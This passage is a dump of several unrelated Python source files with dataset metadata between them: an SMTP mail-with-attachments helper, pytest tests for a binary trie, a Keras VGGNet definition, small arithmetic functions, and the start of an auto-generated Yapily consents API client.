def send_mail_with_files(self, kwargs, attachments=None):
msg = MIMEMultipart()
msg['From'] = kwargs["username"]
msg['To'] = kwargs["tolist"]
msg['Cc'] = kwargs["cclist"]
msg['Bcc'] = kwargs["bcclist"]
msg['Subject'] = kwargs["subject"]
msg.attach(MIMEText(kwargs["body"], 'html'))
if attachments is not None:
for file in attachments:
# print(file.filename)
part = MIMEApplication(
file.stream.read(),
Name=file.filename
)
# After the file is closed
part['Content-Disposition'] = (
'attachment; filename="{0}"').format(file.filename)
msg.attach(part)
try:
server = smtplib.SMTP(kwargs["smtp"], kwargs["port"])
server.ehlo()
server.starttls()
server.ehlo()
server.login(kwargs["username"], kwargs["password"])
# maili gönderiyoruz. Aldığı parametreler gonderenin mail adresi, alıcının mail adresi, ve mail içeriği
recipients = kwargs["cclist"].split(
",") + kwargs["bcclist"].split(",") + [kwargs["tolist"]]
# print(recipients)
server.sendmail(kwargs["username"], recipients, msg.as_string())
server.quit()
self.msg = "Notification mail is sent successfuly."
except smtplib.SMTPException as e:
self.msg = "Some smtp parameters are invalid " + str(e)
except gaierror as e:
self.msg = "No internet access " + str(e)
def send_mail(self, kwargs, attachments=None):
msg = MIMEMultipart()
msg['From'] = kwargs["username"]
msg['To'] = kwargs["tolist"]
msg['Cc'] = kwargs["cclist"]
msg['Bcc'] = kwargs["bcclist"]
msg['Subject'] = kwargs["subject"]
msg.attach(MIMEText(kwargs["body"], 'html'))
if attachments is not None:
for file in attachments:
# print(file.filename)
part = MIMEApplication(
file.stream.read(),
Name=file.filename
)
# After the file is closed
part['Content-Disposition'] = (
'attachment; filename="{0}"').format(file.filename)
msg.attach(part)
try:
server = smtplib.SMTP(kwargs["smtp"], kwargs["port"])
server.ehlo()
server.starttls()
server.ehlo()
server.login(kwargs["username"], kwargs["password"])
# maili gönderiyoruz. Aldığı parametreler gonderenin mail adresi, alıcının mail adresi, ve mail içeriği
recipients = kwargs["cclist"].split(
",") + kwargs["bcclist"].split(",") + [kwargs["tolist"]]
# print(recipients)
server.sendmail(kwargs["username"], recipients, msg.as_string())
server.quit()
self.msg = "Notification mail is sent successfuly."
except smtplib.SMTPException as e:
self.msg = "Some smtp parameters are invalid " + str(e)
except gaierror as e:
self.msg = "No internet access " + str(e)
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| 0.808935
| 0.808935
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Python
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|
from conditional_independence import partial_correlation_suffstat
def compute_gaussian_interventional_suffstat(intervention_info):
return {intervened_nodes: partial_correlation_suffstat(samples) for intervened_nodes, samples in intervention_info.items()}
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|
import pytest
from trie.binary import (
BinaryTrie,
)
from trie.exceptions import (
InvalidKeyError,
)
from trie.branches import (
check_if_branch_exist,
get_branch,
if_branch_valid,
get_trie_nodes,
get_witness_for_key_prefix,
)
@pytest.fixture
def test_trie():
trie = BinaryTrie(db={})
trie.set(b'\x12\x34\x56\x78\x9a', b'9a')
trie.set(b'\x12\x34\x56\x78\x9b', b'9b')
trie.set(b'\x12\x34\x56\xff', b'ff')
return trie
@pytest.mark.parametrize(
'key_prefix,if_exist',
(
(b'\x12\x34', True),
(b'\x12\x34\x56\x78\x9b', True),
(b'\x12\x56', False),
(b'\x12\x34\x56\xff\xff', False),
(b'\x12\x34\x56', True),
(b'\x12\x34\x56\x78', True),
),
)
def test_branch_exist(test_trie, key_prefix, if_exist):
assert check_if_branch_exist(test_trie.db, test_trie.root_hash, key_prefix) == if_exist
@pytest.mark.parametrize(
'key,key_valid',
(
(b'\x12\x34', True),
(b'\x12\x34\x56\xff', True),
(b'\x12\x34\x56\x78\x9b', True),
(b'\x12\x56', True),
(b'\x12\x34\x56\xff\xff', False),
(b'', False),
),
)
def test_branch(test_trie, key, key_valid):
if key_valid:
branch = get_branch(test_trie.db, test_trie.root_hash, key)
assert if_branch_valid(branch, test_trie.root_hash, key, test_trie.get(key))
else:
with pytest.raises(InvalidKeyError):
get_branch(test_trie.db, test_trie.root_hash, key)
@pytest.mark.parametrize(
'root,nodes',
(
(b'#\xf037,w\xb9()\x0e4\x92\xdf\x11\xca\xea\xa5\x13/\x10\x1bJ\xa7\x16\x07\x07G\xb1\x01_\x16\xca', [b'\x029a']), # noqa: E501
(
b'\x84\x97\xc1\xf7S\xf5\xa2\xbb>\xbd\xe9\xc3t\x0f\xac/\xad\xa8\x01\xff\x9aE\t\xc1\xab\x9e\xa3|\xc7Z\xb0v', # noqa: E501
[
b'\x01#\xf037,w\xb9()\x0e4\x92\xdf\x11\xca\xea\xa5\x13/\x10\x1bJ\xa7\x16\x07\x07G\xb1\x01_\x16\xcaG\xe9\xb6\xa1\xfa\xd5\x82\xf4k\x04\x9c\x8e\xc8\x17\xb4G\xe1c*n\xf4o\x02\x85\xf1\x19\xa8\x83`\xfb\xf8\xa2', # noqa: E501
b'\x029a',
b'\x029b',
]
),
(
b'\x13\x07<\xa0w6\xd5O\x91\x93\xb1\xde,0}\xe7\xee\x82\xd7\xf6\xce\x1b^\xb7}"\n\xe4&\xe2\xd7v', # noqa: E501
[
b'\x00\x82<M\x84\x97\xc1\xf7S\xf5\xa2\xbb>\xbd\xe9\xc3t\x0f\xac/\xad\xa8\x01\xff\x9aE\t\xc1\xab\x9e\xa3|\xc7Z\xb0v', # noqa: E501
b'\x01#\xf037,w\xb9()\x0e4\x92\xdf\x11\xca\xea\xa5\x13/\x10\x1bJ\xa7\x16\x07\x07G\xb1\x01_\x16\xcaG\xe9\xb6\xa1\xfa\xd5\x82\xf4k\x04\x9c\x8e\xc8\x17\xb4G\xe1c*n\xf4o\x02\x85\xf1\x19\xa8\x83`\xfb\xf8\xa2', # noqa: E501
b'\x029a',
b'\x029b',
]
),
(
b'X\x99\x8f\x13\xeb\x9bF\x08\xec|\x8b\xd8}\xca\xed\xda\xbb4\tl\xc8\x9bJ;J\xed\x11\x86\xc2\xd7+\xca', # noqa: E501
[
b'\x00\x80\x124V\xde\xb5\x8f\xdb\x98\xc0\xe8\xed\x10\xde\x84\x89\xe1\xc3\x90\xbeoi7y$sJ\x07\xa1h\xf5t\x1c\xac\r+', # noqa: E501
b'\x01\x13\x07<\xa0w6\xd5O\x91\x93\xb1\xde,0}\xe7\xee\x82\xd7\xf6\xce\x1b^\xb7}"\n\xe4&\xe2\xd7v7\x94\x07\x18\xc9\x96E\xf1\x9bS1sv\xa2\x8b\x9a\x88\xfd/>5\xcb3\x9e\x03\x08\r\xe2\xe1\xd5\xaaq', # noqa: E501
b'\x00\x82<M\x84\x97\xc1\xf7S\xf5\xa2\xbb>\xbd\xe9\xc3t\x0f\xac/\xad\xa8\x01\xff\x9aE\t\xc1\xab\x9e\xa3|\xc7Z\xb0v', # noqa: E501
b'\x00\x83\x7fR\xce\xe1\xe1 +\x96\xde\xae\xcdV\x13\x9a \x90.7H\xb6\x80\t\x10\xe1(\x03\x15\xde\x94\x17X\xee\xe1', # noqa: E501
b'\x01#\xf037,w\xb9()\x0e4\x92\xdf\x11\xca\xea\xa5\x13/\x10\x1bJ\xa7\x16\x07\x07G\xb1\x01_\x16\xcaG\xe9\xb6\xa1\xfa\xd5\x82\xf4k\x04\x9c\x8e\xc8\x17\xb4G\xe1c*n\xf4o\x02\x85\xf1\x19\xa8\x83`\xfb\xf8\xa2', # noqa: E501
b'\x02ff',
b'\x029a',
b'\x029b',
]
),
(b"\xc5\xd2F\x01\x86\xf7#<\x92~}\xb2\xdc\xc7\x03\xc0\xe5\x00\xb6S\xca\x82';{\xfa\xd8\x04]\x85\xa4p", []), # noqa: E501
(32 * b'\x00', []),
),
)
def test_get_trie_nodes(test_trie, root, nodes):
assert set(nodes) == set(get_trie_nodes(test_trie.db, root))
@pytest.mark.parametrize(
'key,nodes',
(
(
b'\x12\x34\x56\x78\x9b',
[
b'\x00\x80\x124V\xde\xb5\x8f\xdb\x98\xc0\xe8\xed\x10\xde\x84\x89\xe1\xc3\x90\xbeoi7y$sJ\x07\xa1h\xf5t\x1c\xac\r+', # noqa: E501
b'\x01\x13\x07<\xa0w6\xd5O\x91\x93\xb1\xde,0}\xe7\xee\x82\xd7\xf6\xce\x1b^\xb7}"\n\xe4&\xe2\xd7v7\x94\x07\x18\xc9\x96E\xf1\x9bS1sv\xa2\x8b\x9a\x88\xfd/>5\xcb3\x9e\x03\x08\r\xe2\xe1\xd5\xaaq', # noqa: E501
b'\x00\x82<M\x84\x97\xc1\xf7S\xf5\xa2\xbb>\xbd\xe9\xc3t\x0f\xac/\xad\xa8\x01\xff\x9aE\t\xc1\xab\x9e\xa3|\xc7Z\xb0v', # noqa: E501
b'\x01#\xf037,w\xb9()\x0e4\x92\xdf\x11\xca\xea\xa5\x13/\x10\x1bJ\xa7\x16\x07\x07G\xb1\x01_\x16\xcaG\xe9\xb6\xa1\xfa\xd5\x82\xf4k\x04\x9c\x8e\xc8\x17\xb4G\xe1c*n\xf4o\x02\x85\xf1\x19\xa8\x83`\xfb\xf8\xa2', # noqa: E501
b'\x029b'
]),
(
b'\x12\x34\x56\x78',
[
b'\x00\x80\x124V\xde\xb5\x8f\xdb\x98\xc0\xe8\xed\x10\xde\x84\x89\xe1\xc3\x90\xbeoi7y$sJ\x07\xa1h\xf5t\x1c\xac\r+', # noqa: E501
b'\x01\x13\x07<\xa0w6\xd5O\x91\x93\xb1\xde,0}\xe7\xee\x82\xd7\xf6\xce\x1b^\xb7}"\n\xe4&\xe2\xd7v7\x94\x07\x18\xc9\x96E\xf1\x9bS1sv\xa2\x8b\x9a\x88\xfd/>5\xcb3\x9e\x03\x08\r\xe2\xe1\xd5\xaaq', # noqa: E501
b'\x00\x82<M\x84\x97\xc1\xf7S\xf5\xa2\xbb>\xbd\xe9\xc3t\x0f\xac/\xad\xa8\x01\xff\x9aE\t\xc1\xab\x9e\xa3|\xc7Z\xb0v', # noqa: E501
b'\x01#\xf037,w\xb9()\x0e4\x92\xdf\x11\xca\xea\xa5\x13/\x10\x1bJ\xa7\x16\x07\x07G\xb1\x01_\x16\xcaG\xe9\xb6\xa1\xfa\xd5\x82\xf4k\x04\x9c\x8e\xc8\x17\xb4G\xe1c*n\xf4o\x02\x85\xf1\x19\xa8\x83`\xfb\xf8\xa2', # noqa: E501
b'\x029a',
b'\x029b',
]
),
(
b'\x12\x34\x56',
[
b'\x00\x80\x124V\xde\xb5\x8f\xdb\x98\xc0\xe8\xed\x10\xde\x84\x89\xe1\xc3\x90\xbeoi7y$sJ\x07\xa1h\xf5t\x1c\xac\r+', # noqa: E501
b'\x01\x13\x07<\xa0w6\xd5O\x91\x93\xb1\xde,0}\xe7\xee\x82\xd7\xf6\xce\x1b^\xb7}"\n\xe4&\xe2\xd7v7\x94\x07\x18\xc9\x96E\xf1\x9bS1sv\xa2\x8b\x9a\x88\xfd/>5\xcb3\x9e\x03\x08\r\xe2\xe1\xd5\xaaq', # noqa: E501
b'\x00\x82<M\x84\x97\xc1\xf7S\xf5\xa2\xbb>\xbd\xe9\xc3t\x0f\xac/\xad\xa8\x01\xff\x9aE\t\xc1\xab\x9e\xa3|\xc7Z\xb0v', # noqa: E501
b'\x00\x83\x7fR\xce\xe1\xe1 +\x96\xde\xae\xcdV\x13\x9a \x90.7H\xb6\x80\t\x10\xe1(\x03\x15\xde\x94\x17X\xee\xe1', # noqa: E501
b'\x01#\xf037,w\xb9()\x0e4\x92\xdf\x11\xca\xea\xa5\x13/\x10\x1bJ\xa7\x16\x07\x07G\xb1\x01_\x16\xcaG\xe9\xb6\xa1\xfa\xd5\x82\xf4k\x04\x9c\x8e\xc8\x17\xb4G\xe1c*n\xf4o\x02\x85\xf1\x19\xa8\x83`\xfb\xf8\xa2', # noqa: E501
b'\x02ff',
b'\x029a',
b'\x029b',
]
),
(
b'\x12',
[
b'\x00\x80\x124V\xde\xb5\x8f\xdb\x98\xc0\xe8\xed\x10\xde\x84\x89\xe1\xc3\x90\xbeoi7y$sJ\x07\xa1h\xf5t\x1c\xac\r+', # noqa: E501
b'\x01\x13\x07<\xa0w6\xd5O\x91\x93\xb1\xde,0}\xe7\xee\x82\xd7\xf6\xce\x1b^\xb7}"\n\xe4&\xe2\xd7v7\x94\x07\x18\xc9\x96E\xf1\x9bS1sv\xa2\x8b\x9a\x88\xfd/>5\xcb3\x9e\x03\x08\r\xe2\xe1\xd5\xaaq', # noqa: E501
b'\x00\x82<M\x84\x97\xc1\xf7S\xf5\xa2\xbb>\xbd\xe9\xc3t\x0f\xac/\xad\xa8\x01\xff\x9aE\t\xc1\xab\x9e\xa3|\xc7Z\xb0v', # noqa: E501
b'\x00\x83\x7fR\xce\xe1\xe1 +\x96\xde\xae\xcdV\x13\x9a \x90.7H\xb6\x80\t\x10\xe1(\x03\x15\xde\x94\x17X\xee\xe1', # noqa: E501
b'\x01#\xf037,w\xb9()\x0e4\x92\xdf\x11\xca\xea\xa5\x13/\x10\x1bJ\xa7\x16\x07\x07G\xb1\x01_\x16\xcaG\xe9\xb6\xa1\xfa\xd5\x82\xf4k\x04\x9c\x8e\xc8\x17\xb4G\xe1c*n\xf4o\x02\x85\xf1\x19\xa8\x83`\xfb\xf8\xa2', # noqa: E501
b'\x02ff',
b'\x029a',
b'\x029b',
]
),
(
32 * b'\x00',
[
b'\x00\x80\x124V\xde\xb5\x8f\xdb\x98\xc0\xe8\xed\x10\xde\x84\x89\xe1\xc3\x90\xbeoi7y$sJ\x07\xa1h\xf5t\x1c\xac\r+', # noqa: E501
]
),
),
)
def test_get_witness_for_key_prefix(test_trie, key, nodes):
if nodes:
assert set(nodes) == set(get_witness_for_key_prefix(test_trie.db, test_trie.root_hash, key))
else:
with pytest.raises(InvalidKeyError):
get_witness_for_key_prefix(test_trie.db, test_trie.root_hash, key)
| 50.940828
| 234
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| 0.754201
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py
|
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|
chapter-code/typical-network/vggnet-keras.py
|
wotchin/SmooFaceEngine
|
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|
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|
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|
2022-03-07T03:58:30.000Z
|
chapter-code/typical-network/vggnet-keras.py
|
wotchin/SmooFaceEngine
|
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|
[
"Apache-2.0"
] | 21
|
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2022-01-19T02:41:51.000Z
|
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|
wotchin/SmooFaceNet
|
6985c54df3f342e30eb2a5112fb303efc77bda5a
|
[
"Apache-2.0"
] | 58
|
2019-04-29T00:39:58.000Z
|
2022-02-15T12:30:05.000Z
|
# this is a VGGNet demo.
def vgg_net(input_shape,num_classes):
# from VGG
model = Sequential()
# Conv1,2
model.add(Conv2D(
kernel_size=(3, 3),
activation="relu",
filters=64,
strides=(1,1),
input_shape=input_shape
))
model.add(Conv2D(
kernel_size=(3, 3),
activation="relu",
filters=64,
strides=(1,1),
))
# pool1
model.add(MaxPooling2D((2,2), strides=(2,2), padding='same'))
# Conv 3,4
model.add(Conv2D(
kernel_size=(3, 3),
activation="relu",
filters=128,
strides=(1,1),
))
#
model.add(Conv2D(
kernel_size=(3, 3),
activation="relu",
filters=128,
strides=(1,1),
))
# pool2
model.add(MaxPooling2D((2,2), strides=(2,2), padding='same'))
# Conv 5-7
model.add(Conv2D(
kernel_size=(3, 3),
activation="relu",
filters=256,
strides=(1,1),
))
#
model.add(Conv2D(
kernel_size=(3, 3),
activation="relu",
filters=256,
strides=(1,1),
))
model.add(Conv2D(
kernel_size=(3, 3),
activation="relu",
filters=256,
strides=(1,1),
))
# pool3
model.add(MaxPooling2D((2,2), strides=(2,2), padding='same'))
# Conv 8-10
model.add(Conv2D(
kernel_size=(3, 3),
activation="relu",
filters=512,
strides=(1,1),
))
#
model.add(Conv2D(
kernel_size=(3, 3),
activation="relu",
filters=512,
strides=(1,1),
))
model.add(Conv2D(
kernel_size=(3, 3),
activation="relu",
filters=512,
strides=(1,1),
))
# pool4
model.add(MaxPooling2D((2,2), strides=(2,2), padding='same'))
# Conv 11-13
model.add(Conv2D(
kernel_size=(3, 3),
activation="relu",
filters=512,
strides=(1,1),
))
model.add(Conv2D(
kernel_size=(3, 3),
activation="relu",
filters=512,
strides=(1,1),
))
model.add(Conv2D(
kernel_size=(3, 3),
activation="relu",
filters=512,
strides=(1,1),
))
# pool5
model.add(MaxPooling2D((2,2), strides=(2,2), padding='same'))
# fully connected layer 1
model.add(Flatten())
model.add(Dense(2048, activation='relu'))
model.add(Dropout(0.5))
# fully connected layer 2
model.add(Dense(2048, activation='relu'))
model.add(Dropout(0.5))
model.add(Dense(num_classes))
model.add(Activation('softmax',name='predictions'))
return model
| 19.838235
| 65
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| 0.807578
| 0.807578
| 0.807578
| 0.807578
| 0.807578
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|
[
"Apache-2.0"
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"Apache-2.0"
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2018-01-08T11:10:54.000Z
|
2019-09-06T07:11:29.000Z
|
def sum(a, b):
return int(a) + int(b)
def sub(a, b):
return int(a) - int(b)
| 12.285714
| 26
| 0.511628
| 18
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| 0.388889
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| 0.727273
| 0.727273
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| 0
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| 6
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95a21d158bb9c72f5317a1ded0b665b7e7701c92
| 32,420
|
py
|
Python
|
sdk/yapily/api/consents_api.py
|
bs-yapily/yapily-sdk-python
|
0bba45e351b674eb655425a51190f539c4e9896f
|
[
"MIT"
] | null | null | null |
sdk/yapily/api/consents_api.py
|
bs-yapily/yapily-sdk-python
|
0bba45e351b674eb655425a51190f539c4e9896f
|
[
"MIT"
] | null | null | null |
sdk/yapily/api/consents_api.py
|
bs-yapily/yapily-sdk-python
|
0bba45e351b674eb655425a51190f539c4e9896f
|
[
"MIT"
] | null | null | null |
# coding: utf-8
"""
Yapily API
To access endpoints that require authentication, use your application key and secret created in the Dashboard (https://dashboard.yapily.com) # noqa: E501
OpenAPI spec version: 0.0.155
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from yapily.api_client import ApiClient
class ConsentsApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def add_consent_using_post(self, user_uuid, create_consent_access_token, **kwargs): # noqa: E501
"""Post consent # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.add_consent_using_post(user_uuid, create_consent_access_token, async=True)
>>> result = thread.get()
:param async bool
:param str user_uuid: userUuid (required)
:param CreateConsentAccessToken create_consent_access_token: createConsentAccessToken (required)
:return: Consent
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.add_consent_using_post_with_http_info(user_uuid, create_consent_access_token, **kwargs) # noqa: E501
else:
(data) = self.add_consent_using_post_with_http_info(user_uuid, create_consent_access_token, **kwargs) # noqa: E501
return data
def add_consent_using_post_with_http_info(self, user_uuid, create_consent_access_token, **kwargs): # noqa: E501
"""Post consent # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.add_consent_using_post_with_http_info(user_uuid, create_consent_access_token, async=True)
>>> result = thread.get()
:param async bool
:param str user_uuid: userUuid (required)
:param CreateConsentAccessToken create_consent_access_token: createConsentAccessToken (required)
:return: Consent
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['user_uuid', 'create_consent_access_token'] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method add_consent_using_post" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'user_uuid' is set
if ('user_uuid' not in params or
params['user_uuid'] is None):
raise ValueError("Missing the required parameter `user_uuid` when calling `add_consent_using_post`") # noqa: E501
# verify the required parameter 'create_consent_access_token' is set
if ('create_consent_access_token' not in params or
params['create_consent_access_token'] is None):
raise ValueError("Missing the required parameter `create_consent_access_token` when calling `add_consent_using_post`") # noqa: E501
collection_formats = {}
path_params = {}
if 'user_uuid' in params:
path_params['userUuid'] = params['user_uuid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'create_consent_access_token' in params:
body_params = params['create_consent_access_token']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json;charset=UTF-8']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['basicAuth', 'tokenAuth'] # noqa: E501
return self.api_client.call_api(
'/users/{userUuid}/consents', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Consent', # noqa: E501
auth_settings=auth_settings,
asyncRequest=params.get('async'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def create_consent_with_code_using_post(self, consent_by_auth_code, **kwargs): # noqa: E501
"""Post auth-code and auth-state # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.create_consent_with_code_using_post(consent_by_auth_code, async=True)
>>> result = thread.get()
:param async bool
:param ConsentAuthCodeRequest consent_by_auth_code: consentByAuthCode (required)
:return: Consent
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.create_consent_with_code_using_post_with_http_info(consent_by_auth_code, **kwargs) # noqa: E501
else:
(data) = self.create_consent_with_code_using_post_with_http_info(consent_by_auth_code, **kwargs) # noqa: E501
return data
def create_consent_with_code_using_post_with_http_info(self, consent_by_auth_code, **kwargs): # noqa: E501
"""Post auth-code and auth-state # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.create_consent_with_code_using_post_with_http_info(consent_by_auth_code, async=True)
>>> result = thread.get()
:param async bool
:param ConsentAuthCodeRequest consent_by_auth_code: consentByAuthCode (required)
:return: Consent
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['consent_by_auth_code'] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method create_consent_with_code_using_post" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'consent_by_auth_code' is set
if ('consent_by_auth_code' not in params or
params['consent_by_auth_code'] is None):
raise ValueError("Missing the required parameter `consent_by_auth_code` when calling `create_consent_with_code_using_post`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'consent_by_auth_code' in params:
body_params = params['consent_by_auth_code']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json;charset=UTF-8']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['basicAuth', 'tokenAuth'] # noqa: E501
return self.api_client.call_api(
'/consent-auth-code', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Consent', # noqa: E501
auth_settings=auth_settings,
asyncRequest=params.get('async'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_using_delete(self, consent_id, **kwargs): # noqa: E501
"""Delete consent # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.delete_using_delete(consent_id, async=True)
>>> result = thread.get()
:param async bool
:param str consent_id: consentId (required)
:param bool force_delete: forceDelete
:return: ApiResponseOfConsentDeleteResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.delete_using_delete_with_http_info(consent_id, **kwargs) # noqa: E501
else:
(data) = self.delete_using_delete_with_http_info(consent_id, **kwargs) # noqa: E501
return data
def delete_using_delete_with_http_info(self, consent_id, **kwargs): # noqa: E501
"""Delete consent # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.delete_using_delete_with_http_info(consent_id, async=True)
>>> result = thread.get()
:param async bool
:param str consent_id: consentId (required)
:param bool force_delete: forceDelete
:return: ApiResponseOfConsentDeleteResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['consent_id', 'force_delete'] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_using_delete" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'consent_id' is set
if ('consent_id' not in params or
params['consent_id'] is None):
raise ValueError("Missing the required parameter `consent_id` when calling `delete_using_delete`") # noqa: E501
collection_formats = {}
path_params = {}
if 'consent_id' in params:
path_params['consentId'] = params['consent_id'] # noqa: E501
query_params = []
if 'force_delete' in params:
query_params.append(('forceDelete', params['force_delete'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json;charset=UTF-8']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['basicAuth', 'tokenAuth'] # noqa: E501
return self.api_client.call_api(
'/consents/{consentId}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='ApiResponseOfConsentDeleteResponse', # noqa: E501
auth_settings=auth_settings,
asyncRequest=params.get('async'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_consent_by_id_using_get(self, consent_id, **kwargs): # noqa: E501
"""Get consent # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_consent_by_id_using_get(consent_id, async=True)
>>> result = thread.get()
:param async bool
:param str consent_id: consentId (required)
:return: ApiResponseOfConsent
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.get_consent_by_id_using_get_with_http_info(consent_id, **kwargs) # noqa: E501
else:
(data) = self.get_consent_by_id_using_get_with_http_info(consent_id, **kwargs) # noqa: E501
return data
def get_consent_by_id_using_get_with_http_info(self, consent_id, **kwargs): # noqa: E501
"""Get consent # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_consent_by_id_using_get_with_http_info(consent_id, async=True)
>>> result = thread.get()
:param async bool
:param str consent_id: consentId (required)
:return: ApiResponseOfConsent
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['consent_id'] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_consent_by_id_using_get" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'consent_id' is set
if ('consent_id' not in params or
params['consent_id'] is None):
raise ValueError("Missing the required parameter `consent_id` when calling `get_consent_by_id_using_get`") # noqa: E501
collection_formats = {}
path_params = {}
if 'consent_id' in params:
path_params['consentId'] = params['consent_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json;charset=UTF-8']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['basicAuth', 'tokenAuth'] # noqa: E501
return self.api_client.call_api(
'/consents/{consentId}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='ApiResponseOfConsent', # noqa: E501
auth_settings=auth_settings,
asyncRequest=params.get('async'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_consent_by_single_access_consent_using_post(self, one_time_token, **kwargs): # noqa: E501
"""Post one time token # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_consent_by_single_access_consent_using_post(one_time_token, async=True)
>>> result = thread.get()
:param async bool
:param OneTimeTokenRequest one_time_token: oneTimeToken (required)
:return: Consent
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.get_consent_by_single_access_consent_using_post_with_http_info(one_time_token, **kwargs) # noqa: E501
else:
(data) = self.get_consent_by_single_access_consent_using_post_with_http_info(one_time_token, **kwargs) # noqa: E501
return data
def get_consent_by_single_access_consent_using_post_with_http_info(self, one_time_token, **kwargs): # noqa: E501
"""Post one time token # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_consent_by_single_access_consent_using_post_with_http_info(one_time_token, async=True)
>>> result = thread.get()
:param async bool
:param OneTimeTokenRequest one_time_token: oneTimeToken (required)
:return: Consent
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['one_time_token'] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_consent_by_single_access_consent_using_post" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'one_time_token' is set
if ('one_time_token' not in params or
